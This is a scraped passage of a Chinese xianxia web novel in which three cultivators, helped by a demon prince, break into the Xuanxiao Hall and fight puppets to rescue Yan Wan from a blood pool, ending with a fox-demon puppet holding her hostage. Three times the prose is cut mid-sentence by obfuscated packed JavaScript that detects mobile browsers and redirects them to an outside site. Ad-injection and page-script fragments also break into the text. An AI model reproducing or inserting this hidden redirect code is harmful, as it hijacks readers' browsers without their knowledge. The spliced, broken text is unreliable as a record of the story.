尹鸿宣低声道:“虽然我不明白为什么我爹强行要把她留下来放血,但我知道,他很看重这位姑娘,想必她是个很重要的人。这样的话,就算你们明日前去玄霄殿和我爹商量的话,恐怕他也不会让你们带走她的……” 公仪岭抿唇,幽幽道:“是啊,我们也正是清楚这一点,这一次,他们才叫我去搭救。我今夜前来寻你,只因你许下了我一个承诺,而我这一次,便想问一问你,当日在宣安城中的那个承诺,可还作数?” “作数自然是作数的,公仪兄弟,你救了我,救命之恩自当涌泉相报。可是你也知道……这件事情事关魔族,不管怎么样,我的立场也没有办法改变,如果我帮你们把人救出去的话,我爹他……肯定不会放过我的。” 见他踌躇的样子,公仪岭倒也能够理解。 他松开了尹鸿宣的手臂,缓缓道:“我明白你的处境,所以也不愿因为此事牵连你。等明日,我与另外两位仙僚就会悄悄潜入玄霄殿之中。我只求你,届时将我们带到那入口的地方,余下的事情,成败与否,都与你无关。” 尹鸿宣凝视了他片刻,最后还是让了步。 “好吧,我答应你。” 公仪岭没给他反悔的机会,连忙问道:“所以,她究竟身在何处?” 尹鸿宣似是不忍想起那场景,叹了口气。 “玄霄殿侧殿后面,有一汪血池。你说的那位姑娘,就是在那边。” 公仪岭皱了皱眉。 玄霄殿的这血池,他也曾有所听闻,乃是一个阴气甚重的地方,不知道里面汇聚了多少东西的鲜血,才得了这么一汪血池,且不说里面妖邪肆虐、横行无忌,便是看着池子中央的那兽口源源不断涌出粘稠的血来,也能活活把人恶心死。 要是让燕修远和燕渊看见她在这样的地方,得多么心痛愤怒! 一想到自己的仙友在这种地方被折磨了这么久,公仪岭便难以克制心中的怒气。 不管怎么说,尹鸿宣能顶着压力告诉他这些,也已经足够讲义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737841|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气了。 公仪岭低低对他说了一句:“多谢你了,尹二殿下。” 说完,他便起身打算告辞离去。 尹鸿宣见他要走,忙召了外面等着的魔侍过来,十分郑重地吩咐他们:“你们几个,替我将公仪兄弟好好地送回房。” “是,二殿下。” 只可惜,在去了尹鸿宣那边这一趟后,公仪岭便再也不能安心地睡着了。 这一路上发生了这么多事,一个接一个,甚至没有给他任何缓冲的时间。 公仪岭曾以为,他们日日在宗门内修习,就算有的时候下山除妖会遇到一些棘手的妖怪,导致有弟子受伤,却也从未出现过直接惨死的情况。 这难免让他以为,自己的同门、自己的仙友,并不会离他而去。 只因,他们还那么年轻。 上一秒公仪岭还能听见他们与自己说话,下一秒却已经看见他们横死当场,甚至连一句完整的话都说不出来了。 公仪岭心乱如麻,睁着眼到了天明。 次日一早,众人便收拾好东西,整装待发了。 公仪岚他们是率先离开的,他临行前仔细叮嘱了公仪岭一番,直到公仪岭每一句都答应了下来,这才安心跟着燕修远离开。 他们一行人离去后,大殿中便只剩下了公仪岭、燕蓉、燕渊三人。 燕蓉原本还担心他们三人留下来会不会惹人怀疑,谁知尹鸿宣自正座上起身,扬手喝退了在殿内看守着的所有魔族侍卫和侍从:“都给我退下!” 那些魔族侍从有些犹豫,上前一步恭敬道:“二殿下,他们毕竟是仙家的人,若是侍卫们都撤下了,您的安全……” 尹鸿宣怒道:“怎么,本殿下跟三位友人叙个旧,也轮得到你们插手?什么时候,这殿里轮得到你们做主了?没有我的命令,一个人都不许进来!” 那些侍从也是知道自己小主子的脾气的,难得见他发怒,顿时也不敢再多说什么,连忙招呼着人都退下去了。 燕蓉见他此举皱了皱眉。 他们留在这里本就是要单独行动,趁着尹鸿宣不注意地时候溜出去救人,现在他如此举动,摆明要把他们留在殿中聊天,完全出乎了燕蓉的预料。 燕蓉连忙道:“二殿下,不知……” 她话还没说完,就已经被尹鸿宣打断。 与刚才严厉正式的语气不同,这一次尹鸿宣的表情十分着急,魔侍前脚刚走,后脚尹鸿宣立刻就道:“他们受了我的命令,一时半会儿是不会进来的。事不宜迟,我带你们从后门走!” 燕蓉怔愣道:“二殿下,你这是要带我们去哪?” “你们不是要救那位姑娘吗?我带你们去血池入口,剩下的路就靠你们自己了。” “你怎么知道……” 燕蓉还想问,却被公仪岭拦住。 公仪岭连忙对身旁两个人道:“快点先别问了,咱们先过去再说!” 燕渊不依不饶:“公仪岭你话不说清楚,就让我们跟着他走!这家伙能不能信啊!” “能信!能信!是我去求的二殿下带我们去。燕蓉,多余的事情等救完燕婉我再与你们详细说,现在救人要紧,咱们就不要耽误时间了!” 燕蓉听到他这么说,也大概清楚了是怎么一回事,对两人点头道:“好,信你一回!” 104.永世不得见 永生再难忘(三) 尹鸿宣没有迟疑,直接道:“玄霄殿附近侍卫众多,你们得跟紧我。” 三人应声,燕蓉折扇扫过,将他们几人的仙气隐匿了起来。 尹鸿宣的住处离玄霄殿并不算远,但为了避开外面守着的魔族侍卫,他还是领着几人在外面绕了个大圈子。 玄霄殿侧殿门口少不得有侍卫看守,尹鸿宣倒也不是全无准备,转身交代完身后三人,便直接独自一人去与那门口的侍卫打照面去了。 只可惜,他刚靠近侧殿外,就已经有两个魔族侍卫将他拦住。 其中一侍卫道:“二殿下,尊主有令,这些日子,您不能靠近侧殿。” 尹鸿宣佯装发怒:“你们一个个的什么意思啊?我难得来一次玄霄殿面见父亲,居然还敢拦我!” “属下不敢!” 另一侍卫为难道:“二殿下,并非我们为难于您,尊主现下正要去正殿接见仙家之人,恐怕也没时间来见您,还请您先回吧。” 见两个侍卫坚守岗位,丝毫没有打算给他开后门的想法,尹鸿宣也不得不用了另一个简单直接的方法。 趁着侍卫毫无防备,就见他扬手一挥,袖中迷粉洒出,在他面前的这两个侍卫只轻轻一吸,便猝然倒地不起。 一看这方法有用,尹鸿宣也是大喜,结果还没高兴片刻,也不知道是风向不对,还是扔的角度不对,总而言之,尹鸿宣是第一次用迷药,并没有掩住自己的口鼻,原地晃了两下后,自己也晕倒了。 “……” “……” 燕蓉看向公仪岭,严肃道:“他一直这样吗?” 公仪岭看着侧殿门口晕倒的三个人,也无语了:“差……差不多吧。” 燕渊惊道:“这人别是个痴呆吧?” 公仪岭瞥了他一眼:“这样也好,就当这迷粉是我们下的,也省得这傻孩子到时候替我们背锅了。无论如何,时间紧迫,我们先进去再说。” 等到了侧殿门口,公仪岭这才知道,为什么这么偌大的一个侧殿只派了两个看守了。 这侧殿门口,竟然被人下了一道极强的结界。 燕渊本想直接推门而入,手刚放上去,就被那道结界给弹开了去。 燕蓉想要用浮光青玉扇试试能不能强行破结界,却被公仪岭制止:“我们此番既然是偷偷潜入救人,必不可惊扰了旁人。这结界肯定是尹景轩设在这里的,如果我们强行破开,他必然有所察觉,到时候命人来堵我们的话,就不妙了。” 燕蓉听他说的有道理,便垂手放下了扇子,问道:“那我们现在该如何?这结界一看便是魔族中人才能进去,我们若是没有他们的信物的话,肯定是进不去的。” 燕渊问他:“这尹鸿宣出门前没给你塞个解结界的东西吗?他说他之前误入过一次,说明他是有办法进去的吧。” 公仪岭思忖了片刻,猛然想起自己脖子上还挂着的那块石头。 信物?这不就是? 虽然他还不清楚这石头究竟是什么用处,但毕竟是尹景轩亲手给儿子的,想必应该是类似于证明身份的东西。 公仪岭在心中默然道:“顾不了想那么多了,先试试再说!” 想完,他神情严肃,对身旁两人道你们:“你们两人搭着我肩膀,我试试能不能进去?” 燕蓉诧异:“你有办法了?” “尹鸿宣之前给过我一个东西,我们试试看靠它能不能进去!” 听他说完,两人也不再犹豫,一人一只手搭上了他的肩膀。 公仪岭深吸了一口气,伸手触碰上了那结界。 与燕渊碰到结界时候的反应不同,他伸出来的那只手很快就穿过了结界,并没有被弹开。 燕蓉面上一喜,道:“成功了!” 于是公仪岭不再犹豫,直接带着两人穿过了结界,推开了侧殿的大门。 他们三人在推门的时候可以说是全神戒备,脑中准备了百余种应对里面突发状况的办法,结果,大门一推开,里面却是平平无奇的一个内殿,除了环境幽暗了一些、看起来风水差了一些、摆放东西的位置诡异了一点以外,与其他的那些宗门内殿也没什么特别大的区别。 殿内空无一人,安静地连呼吸声都清晰可闻。 公仪岭担心燕渊莽撞大意,还是轻声提醒道:“不可大意。” 燕渊点了点头,小心翼翼地在掌中燃起了一团火焰,想要看清楚这大殿内的布局。 公仪岭见他正认真在找有没有机关,于是也就没有再多说什么,点燃了一道符纸,开始扫视四周起来。 若是他们仙家任何一个人来到这侧殿之中,那第一反应一定就是:这个地方的布局实在是太不详了。 在这四四方方的殿中,他们玄霄殿的人几乎是把所有不该放在某个位置的东西放了个遍,就连墙壁上也全都是用鲜血涂画的奇怪符箓。 公仪岭到底用了齐元白这么多符纸,什么符有什么用他还是能说得上来的。 而墙壁上贴的这些,每一道符纸上画的东西,全都被颠倒了过来,有的少了一两笔,有的多了一两笔。公仪岭一圈看下来,压根没找到一张正常的符纸。 燕蓉也发现了这一点,低声道:“这些符纸似乎都是他们用来招邪的。公仪岭,你看这大殿之中的这个柱子,是什么?” 他回过身,走近以后,微弱的火光照亮了他的面前。 这根本就不是一根柱子! 只因刚刚殿内光线昏暗,他们这才下意识地把面前的东西当做了顶梁柱,直到公仪岭伸手触摸到这根“柱子”上面的粗糙纹路,他才惊觉道:“这竟然是一棵种在殿内的树?!” 燕蓉点了点头,道:“以步丈量,此殿的地面长宽一致,乃是一个方形的大殿,其正中又刻意栽了一木,木之于口,即为一个‘困’字。” 公仪岭也意识到了这一点,他凝声道:“看了,符箓招来的阴邪之物,一旦进到这个殿内,就会被这其中的格局所困,再也出不去了。” 燕蓉冷冷道:“他们做了此局,将我师姐困在此地,也真是够煞费苦心。” 两人还欲在殿内寻找机关,看如何前往血池。就听三步开外的燕渊忽然熄灭了手中的火焰,对两人喊了一句:“小心!” 公仪岭虽然不知燕渊为何熄灭了手中火焰,但还是单手捏碎了手中的符纸,大殿内立刻重新陷入了黑暗之中。 余光中有黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740952|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气一闪而过,他侧身提剑,直接便将那东西给断成了两截。 燕蓉担心燕渊那边出事,连忙问道:“少宗主,你那边如何?” 燕渊自远处喊道:“我没事!这些东西喜火,看见光亮的就要冲过来。” 公仪岭皱起了眉。寻常邪物一般都是畏惧火光的,也不知是不是因为御魔幡在此地的缘故,才让他们不惧火光。 燕蓉斜持折扇,观察四周,对两人轻声道:“这些魂魄似乎都是从墙上的符箓里出来的,我们能不能把他们破坏了?” 说罢,她便看向燕渊。燕渊是主习火系法术的,由他来控制火焰的话,一把火就能将上面的符纸烧个干净。 燕渊道:“没用的!我刚刚试过了,那些符箓全都被下了禁制,恐怕破坏不了!” 公仪岭也朝墙壁上挥出一道剑刃,结果看上去一碰就碎的符箓却丝毫没有受到半点损伤,他的剑刃一过去便被无形的结界给吞没了。 眼看着出来的魂魄越来越多,众魂魄如鬼魅般飞快地穿梭在大殿上空,燕渊刚想用扇子燎火逼退那些黑气,就被公仪岭制止:“火光会引来更多东西!” 燕渊咬牙,只得放弃,拿扇子旋身去跟周围的魂魄过招,手上一左一右将几团黑气给拍散了。 燕蓉急声道:“少宗主,这殿中肯定有什么机关能去往血池,你想办法找一找,其余的东西交给我们来杀!” 燕渊一听有道理,连忙应声,把魂魄拍飞以后便开始四下搜寻起来。 然而,一开始墙上的符箓还只是放出一些低级的魂魄,等过了半炷香的时间,公仪岭愕然发现,与自己交手的竟多出来了许多傀儡。 他抬手斩断了面前傀儡的鬼手,这才发现,面前的傀儡个个都是以完整的妖身或是人身所制成,比他从前遇到的都那些强上许多,不仅表皮坚硬极难刺穿,甚至于将他们的腿和手臂都割断了,那断臂断腿也仍然能够凶猛地对他们发出进攻。 公仪岭惊诧不已,如此状态的唯一可能,便是御魔幡即将被炼化。 仅这一瞬间的迟疑,他的身后侧方就伸出一双爪子直刺而来,速度之快,险些让他避闪不及。 好在远处燕蓉敏锐捕捉到这画面,手中折扇作势甩开,扇中灵力顿时化作道道水刃,自扇骨凌空飞去,暂时击退了公仪岭身后的那只傀儡。 燕蓉厉声道:“别分心,快点找到机关!师姐还在等我们!” 时间紧迫,公仪岭不敢耽误,两道剑刃掀飞的周身傀儡,自地面跃起,足尖轻点墙面飞檐走壁,掀起了劲风阵阵,将两边墙壁都触碰了个遍,却还是一无所获。 他一上墙,下面燕蓉一个人对付周围一群傀儡就显得十分勉强了。公仪岭无奈,只能先从墙上落回地面,扫清她身后的那些傀儡,对燕蓉道:“墙上没有机关。” 燕蓉皱眉:“现在那些傀儡越变越多,再过一会儿恐怕就能塞满整座殿,到时候我们想要找的话就更麻烦了。” 燕渊一边要顾着寻机关,一边还只能近乎赤手空拳跟傀儡搏斗,处境十分狼狈,不得不扬声喊道:“反正现在傀儡都已经这么多了,用不用火都没差,我看你们让我放把火的话,烧起它们还能快一些!” 105.永世不得见 永生再难忘(四) 公仪岭一看局势,确实像燕渊说得那样,傀儡越来越多。他们不让燕渊用术法的话差不多等于自断一臂,于是道:“你用吧!” 刚说完,燕渊就已经展开折扇,顿时大殿一侧火光四起。 而他那边烈火炎炎,逼退了傀儡,那些傀儡见势不妙,竟直接后退朝着燕蓉和公仪岭附近去了。 燕蓉方才一个人单打独斗了一阵已经耗了不少灵力,以一敌十尚且还能勉强应付过来,但以一敌近百的话,就有些力不从心了。 顾得了前面,却极难顾上后面。那些傀儡自四面八方汹涌而来,到了后面,两个人连走路的空间都快没了。 而那一双双鬼手,甚至已经能够抓到浮光青玉扇和归云剑了。公仪岭不得不催动归云将四周傀儡震开,随后一个翻身踢翻了冲到他面前的傀儡,借势撂倒了一片。 相对来说,燕蓉近身战斗就没有她的术法那么强劲了,一个侧踢刚击飞了身前的傀儡,身后的那只爪子就将她的肩头划出了五道血口。 公仪岭连忙回身,令归云将她后面的傀儡斩飞,问道:“燕蓉,你没事吧!” 燕蓉咬牙道:“我没事,这成百上千的傀儡光靠我们三个是杀不完的,就算耗它们也能把我们耗到灵力枯竭!” 顾不上给她处理伤口了,公仪岭不得不持剑应付接踵而至的傀儡和地上散落一地的断肢残骸,抽空还得关照关照燕渊那边,叫他把火烧得更旺一些。 正是一筹莫展之际,忽听燕渊惊喜叫道:“我找到密道入口的机关了!” 听到这喜讯,公仪岭和燕蓉皆是精神一振,急声问道:“在哪?!” 燕渊见他们被傀儡群围困,手执折扇替两人开出一条火路。公仪岭一见包围圈中出现了一道缺口,便驱使归云用纷杂的剑光替他们清道,拽着燕蓉与燕渊汇合。 燕渊扬手将三人周围燃起火焰,暂且阻挡着傀儡。随后指着一块不同寻常的地板,肯定道:“就是这里!刚刚我用扇子扇火的时候,火光映出来这块石砖上的花纹与其他的不同,肯定就是这边!” 公仪岭借着火光,伸手触摸了石板上的花纹,又用食指叩了叩石板,听到“当当”两声,道:“这里面是空心的,是这里没错。” 说完就用两指召回归云,狠狠劈向石板。 然而那石板纹丝不动,归云甚至没在那些花纹上刻下丝毫痕迹。 燕蓉忽然指着石板中间陷入的长条形状,出声道:“你们看,这个东西,眼不眼熟?” 燕渊挠着头想了半天不得其法,公仪岭却已经眼前一亮:“是符箓!是符箓的形状!” 燕蓉抬头看向周围墙壁,也确定了:“看样子,只有在这墙壁上找到正确的符箓,贴在石板上,才能打开进入血池的入口。” 燕渊替他们生火只能拦住傀儡片刻,眼看着他们直接跨过烈火就要冲过来,不得不用法术战斗给他们争取一些时间:“公仪岭,你不是很了解这些符咒吗?你快看看哪个才是啊!” 公仪岭头痛道:“你说得轻松,墙上这些符纸没有几千也有几百,密密麻麻地贴着,一时半会儿哪里找得到啊!” 何况,这石板上除了花纹就是那一长条空档,压根没什么提示告诉他们是哪一张! 就连燕蓉,一边与傀儡过招,一边也叹了口气:“早知如此,咱们说什么也得把齐家的人带一个来。” 他们两个人奋力替自己挡着傀儡,公仪岭便让归云也去帮忙了,自己则是开始细细研究起来墙上的符纸。 本以为只是简单的找不同,实际公仪岭却发现,这些符纸几乎都各不相同,很难在其中找到规律。 公仪岭揉着太阳穴,觉得脑门上的青筋突突地跳:“这得怎么找啊!” 燕蓉喊道:“那尹鸿宣不是进来过吗?他肯定是用了什么办法找到的,你再拿你那信物试试?” 公仪岭一愣,觉得她说得有道理,取下了脖子上的挂绳,将石头贴到了符箓旁边,想看看会不会有什么变化。 很快,他就发觉了不对。 也许是燕渊此刻燃得火势太大,导致他用石头反而很难看清楚上面色泽的变化。公仪岭立刻明白了这是怎么一回事。 这石头只有在光线微弱的环境下才能让符纸上的图案变色,想必当时尹鸿宣用石头开门,就直接拿石头在殿内转了一圈,直接找到了变色的符纸,打开了通道。 公仪岭暗骂一声自己蠢,这么简单的事情都没想到,转头对两人喝道:“燕渊,快把你的火熄灭了!” 燕渊还犹犹豫豫问了一句:“为什么?!”旁边燕蓉没给他废话的机会,抬手水刃打出,直接把周围一圈火势给熄灭了。 公仪岭心中赞叹了一声,心说优秀弟子的执行能力果然强得不是一点半点。 燕渊的火一熄灭,殿内便重新陷入了一片黑暗之中。底下两人只能靠听声辨位,奋力杀敌给公仪岭争取时间。 公仪岭松了口气,连忙低头继续去看手中石头。 结果这石头一处在黑暗之中,立刻闪烁起来光芒,直接照亮了公仪岭面前的那半面墙,墙上的所有符纸瞬间都亮起了血色的光。 公仪岭一看管用,再次故技重施上了墙,一路贴着墙飞,终于在北边的一面墙找到了那光亮颜色不同的符纸。 他毫不犹豫揭下了符纸,对燕家两人大喊道:“我找到了!” 两人眉间一喜。公仪岭拿到符纸后便倒翻下来,平稳落地,将手中符纸拍到了那块石砖上。 只听“轰隆”一声,地上灰尘飞溅,石砖瞬间打开了一个大口。 燕渊和燕蓉听到他的话,边挡着傀儡边后退,直到后退到了石砖旁边,三人先后跳了下去,那石砖才又沉闷地合上了。 这垂直的通道犹如深井,宽度能刚好容纳他们三个人跳进去,等到三人落地,映入眼前的便是一条狭长的石道了。 还没到血池之中,一股浓厚的血腥气就已经扑面而来,令人反胃。公仪岭不敢大意,小心翼翼地将归云持在胸前,转头对燕渊道:“燃个火看看。” 燕渊连忙燃起火焰,三人依着火光定睛一看,就见石壁上全渗出了丝丝血液,散发着令人作呕的腥臭味。而他们走的石板两旁,则是凿刻出了两条深深的引血槽,里面的浓稠血液如河流般汇向石道的尽头。 公仪岭心中确定,与两人对视了一眼,齐齐朝着石道尽头狂奔而去。 石道不长,三人仅仅跑了片刻就已经抵达了最深处。 公仪岭看着面前一堵厚厚的石墙,直接手上汇聚了十成灵力,归云剑光一闪,那堵石墙登时就炸成了两半,碎落一地。 石墙被破,门外三人瞬间便看见了吊在血池正中央的燕婉。 “阿姐——!” 燕渊声音凄厉,顾不得细细查看里面是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公仪岭心说不好,大喊道:“糟了。这石链一旦打断,这些妖邪就会出来!” 燕蓉瞥了一眼血池上空浮现出的东西,道:“你顶一下!我们先救燕婉!” “你们快去!” 燕蓉疾行到两人身旁,从怀中摸出了早已备好的丹药,喂到了燕婉口中。 燕渊将姐姐揽在怀中,问道:“快开始吧!孟妙意说要如何救阿姐?我怕阿姐恐怕撑不到出去的时候了!” 燕蓉闻言,简单检查了一下燕婉的身体状况,感受到她那如游丝般虚弱的脉搏,眉间微不可查地皱起,肃然道:“少宗主,你把手伸出来。” 他毫不犹豫伸出了手,燕蓉以手为刃,直接在他掌心划出一道血口,把他的手按在了燕婉手腕的血口上。 下一刻,浮光青玉扇灵光大盛,源源不断开始为燕婉输送起灵气来。 他们行事匆忙,公仪岭想尝试为他们设下结界,免得外界魂魄打扰,导致两人走火入魔,却发现此地无法设置仙障与结界之类的东西,于是不得不守在他们身旁护法,双目紧紧盯着血池那边的动静。 谁知,他越担心什么,就越会发生什么。 血池上空很快就不止于浮现出黑色的魂魄,不过片刻后,那血池中突然伸出几只血淋淋的鬼手,撑着血池边沿石板站了起来。 106.永世不得见 永生再难忘(五) 这些傀儡淌着血,扭曲着身子一步一步朝着他们走来。 公仪岭紧紧握着手中归云,扭头看了一眼身后正在凝神救人的两人,咬了咬牙。 方才在上面与傀儡交手的时候,公仪岭就已经察觉到它们比寻常傀儡厉害不少,如今几人身处这么小的一个密室之中,面对着面前不下十具傀儡,即便是他,也开始隐隐担忧起来。 不等它们逼近,公仪岭剑光已出,纵身翻跃出去,足尖在空中勾起一个完美的弧形,孤身一人落到了傀儡群之中。 挡在燕婉他们面前难免不会误伤到三人,公仪岭只能用这样的办法,以自身为诱饵,将所有的傀儡都吸引到他这边来。 归云剑锋芒毕露,扫出的一道剑光割开了最前面两具傀儡的前胸,流出了腥臭的液体。这方法很快奏效,两具傀儡立刻调转了方向,想要攻击身后伤了它们的人。 公仪岭一见有用,剑锋又出,迅捷如风划破了其他几具傀儡。 很快,这些傀儡便将他团团围住,一个个伸出利爪想要捅穿他的心肺。 公仪岭不得不向上跃起,身子立在其中几具傀儡的头上,随后飞起一脚将足下两具掀飞出去,给自己留出一些空档。 重新落地后,他扬手抽出一张符箓,想要把他们定在原地。 结果齐元白的符箓竟然完全不管用!那些黄纸贴到了傀儡的额头上,它们的行动却丝毫没有减缓,抬爪子一把扯掉了符箓,继续扑向公仪岭。 公仪岭顿觉头痛。 他原本的想法便是靠自己先引住一些傀儡,随后把另外几只顾不到的都用符纸定住,再慢慢一个个对付。 哪知这一招竟然没用! 这些傀儡皮糙肉厚,他想将它们全数歼灭十分困难,只能依靠着身法与地形来周全在它们之间,而归云剑,则是受他之令,斩灭了空中一些企图冲向燕婉他们的魂魄。 可惜,这些傀儡并非痴傻,经过的御魔幡的影响,反倒让他们有了神智,光靠公仪岭赤手空拳,很难将它们全部吸引。 公仪岭冷汗涔涔,全神贯注,不敢有一丝大意,几步退至燕婉身前,将归云召回在手,几道剑气逼退了那些黑气魂魄。 这时,吞咽下丹药,稍微恢复了一点灵气的燕婉,终于微微睁开了眼睛。 燕渊本就时时关注着阿姐的状态,输了大半的血,好不容易看见阿姐的皮肤显现出了些许的血色,见她睁眼,喜不自胜道:“阿姐!你醒了!太好了……” 话还没说完就被燕蓉厉声打断:“不要松懈!少宗主!还没结束!” 燕蓉一说,燕渊也重视起来,阿姐现在正是性命攸关的时候,断然不能分散注意,于是重新凝神起来,腾起周身灵气。 然而燕婉却翕动着嘴唇,颤抖着想抬起手说什么,却因身子虚弱至极,只能勉强抬起手指。 燕蓉眉间一跳,低声问道:“师姐,你想说什么?” 她俯下身,侧耳贴到燕婉的嘴唇旁。 “血……血……” 燕婉一双眼睛睁地老大,努力了半天,也只说了这两个字。 这话要是换了旁人,怕是真就听不懂燕婉的意思了。多亏燕蓉与她相识多年,只微微愣了一瞬,便反应了过来,转头对公仪岭大喝道:“血!她说血能吸引那些傀儡!” 公仪岭心念一动,也明白了过来。 这些东西天天受着御魔幡和燕婉的血气滋养,他如果想要诱它们远离施法的三人,定然是需要用血来欺骗他们的。 至于是谁的血应该不打紧,想来只要是人血,骗骗这些有神智但不多的傀儡是足够了。 思虑及此,公仪岭也不再迟疑,挥剑划破了自己的掌心,顿时血流如注。 掌心朝着傀儡一挥,果不其然,那些傀儡微微偏头,在闻到一股新的血腥气后,很快就又把攻击的目标齐齐转到了公仪岭身上。 公仪岭伸着流水的手掌,任血水顺着掌心滴到地上,贴着墙把所有的傀儡都暂且引到了血池的另一边。 等到他觉得那距离稍微安全了一些以后,这才重新召回了归云剑。 归云一刻都没闲着,在他引傀儡的时候,就已经把半空中乱窜的黑色魂魄都给斩了个灰飞烟灭。 燕蓉见他成功引走,也在心中暗自松了口气,继续沉下心来给燕婉施法输血。 由于一开始燕婉的身子虚弱无比,她一开始也不能用强劲的灵力为她施法,以免燕婉直接爆体而亡,只能用柔和如涓涓细流般的灵气为她治疗。 所以,这过程就变得十分漫长且煎熬了,燕家三人的全部希望都寄托在公仪岭身上,在心中默默祈祷他能够多牵制一段时间。 十余只傀儡虽然被公仪岭引到了血池的另一边,但相互间却也保持这一定的距离,公仪岭不得不持剑周旋其中,小心翼翼地穿梭在这群傀儡之间,以免它们中有任何一个脱离掌控。 这种打法无疑是十分损耗体力和精力的,公仪岭想不管不顾地直接挥剑斩翻面前的傀儡,却又担心会打破这样微妙的平衡,只能暂时咬牙坚持。 “你们还有多久?!” 公仪岭对那边喊道,得到的回答却是至少还需要一炷香的时间。 这哪行啊! 公仪岭眉头紧皱,急声道:“太长了!我怕我坚持不住啊!要不我直接跟他们硬拼吧!” 燕蓉喊道:“你以为给师姐输血有那么快吗?她身子本就虚弱!” 公仪岭转念一想,也确实是这个道理,于是也不再犹豫,直接剑光一闪,主动出击。 众傀儡也没想到他的攻势突然变得如此凌厉,像是要准备速战速决的样子。登时,原本站在公仪岭面前的两只傀儡,直接被他的一道剑气掀到了血池对岸,滚落在地的同时,身上也都又多出了几道森森伤口。 他脑中画面一副接着一副,根本无暇去看那些已经被他击飞倒地的傀儡。因为只要他迟缓一瞬间,面前和身后都有不同的鬼爪伸向他。 几番乱战下来,公仪岭身上也被割开了数道伤口,鲜血染了一大衣服。 而他面前的那些傀儡也没好到哪里去,虽然抓开了他的衣服,留下了血痕,但下一秒就被他刺穿了心脏,化作黑烟消散。 仅仅半炷香不到的工夫,那十余具傀儡便只剩下了五六具。 公仪岭正信心倍增,想要乘胜追击的时候,蓦然间就听血池对岸一声惊叫。 他浑身一震,立刻扭头去看,却发现坐在地上施法的两个人被打断了术法,口中直接喷出一口鲜血。 怎、怎么会?! 公仪岭又惊又怒,定睛一看,竟然是他最开始掀飞出去的那两个傀儡。他们被打倒到血池的另一端之后,竟然神不知鬼不觉地绕到了正在施法的那边,一爪子下去,中断了他们的法术。 燕渊燕蓉两人,原先看公仪岭一个人越打越勇,于是也就放心把后背交给了他,没有仔细关注另一边的战况。 哪知竟然让这两个傀儡钻了空子,得了手! 燕蓉他们施法正到了关键的时刻,灵力也比一开始盛了很多,这样被突然打断,立刻就遭到了强烈的反噬,险些晕死过去。 燕渊则是心头一阵绞痛,本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就失血过多的他就已经十分虚弱了,如此一来,他就倒在了旁边的地上,捂着心口一阵干咳。 燕蓉冷冷看了一眼面前的傀儡,抬手擦去嘴角血迹,随后便执起折扇,自扇骨打出一道水刃。 那傀儡脸上挂着诡异的笑容,侧身避开了她的水刃,毫不犹豫掐住了燕婉的脖子,把晕倒在地上的燕婉扯到了自己面前挡住。 事情已经出现了意外,公仪岭直接撂倒了旁边要阻扰他的几具傀儡,纵身飞跃过面前的血池,剑指傀儡。 燕渊好不容易缓过劲来,一看公仪岭架势,吓得魂飞魄散:“阿姐!阿姐在他手上,不要轻举妄动!” 他费力想要拿着扇子起身,无奈实在虚脱,竟是连一点力气都使不出。 这时身后的那些没处理完的傀儡也都涌了上来。燕蓉怕他忽略了身后,忙叫了一声“小心”,抬手用剩下的灵力化作水刃,打向了公仪岭身后的那些傀儡。 公仪岭心乱如麻,但即便他再怎么担心那傀儡捏碎燕婉的喉咙,还是不得不先应付身后的那些令人厌烦的傀儡。 几道剑刃光华闪过,五六具傀儡尸首分离,倒在了地上。 公仪岭手执归云,寒芒闪过,冷声对面前的那傀儡喝道:“放下燕婉!” 他本以为这些傀儡都说不出话来,谁知,他话音刚落,那傀儡口中竟然发出了一声极其沙哑的声音。 它咯咯冷笑了两声:“还真是多谢你们,御魔幡才能神功大成了。” “什么?!” 公仪岭震惊不已,就连燕蓉也瞪大了眼睛难以置信。 也就是这时候,他看出来了这傀儡的真身,竟然也是一只狐妖制成的妖身傀儡! 狐妖傀儡哑着声笑道:“怎么,不然你们还以为,把她救走,就可以阻止御魔幡炼成了吗?做梦!” “还真是感谢这黑旗子啊,否则的话,光靠我仅剩的灵识继续修炼,还不知道多少年才能恢复如初呢!” 公仪岭垂下手中剑,沉声道:“死狐狸,成了傀儡还骄傲得不行?你就这么想一辈子被他们控制?!” 狐妖傀儡冷哼一声,那双爪子也更用力地掐住了燕婉的脖子:“少来说这些冠冕堂皇的话,若非我奄奄一息之时被尊主用御魔幡救活,这天地之大,哪还有我存在的痕迹?” 燕渊怒斥道:“你放下我阿姐!” 狐妖傀儡毫不客气地踢了燕渊一脚,呸道:“想得美,你以为就算我们放干了她的血,就能让她回去了?” 说着它又咯咯笑了起来:“这姑娘的血可真是个好东西,说不定日后,御魔幡还能用得上呢!” “你、你们!” 燕渊怒不可遏,挣扎着想起来却翻身不能。 公仪岭眼眸微眯。 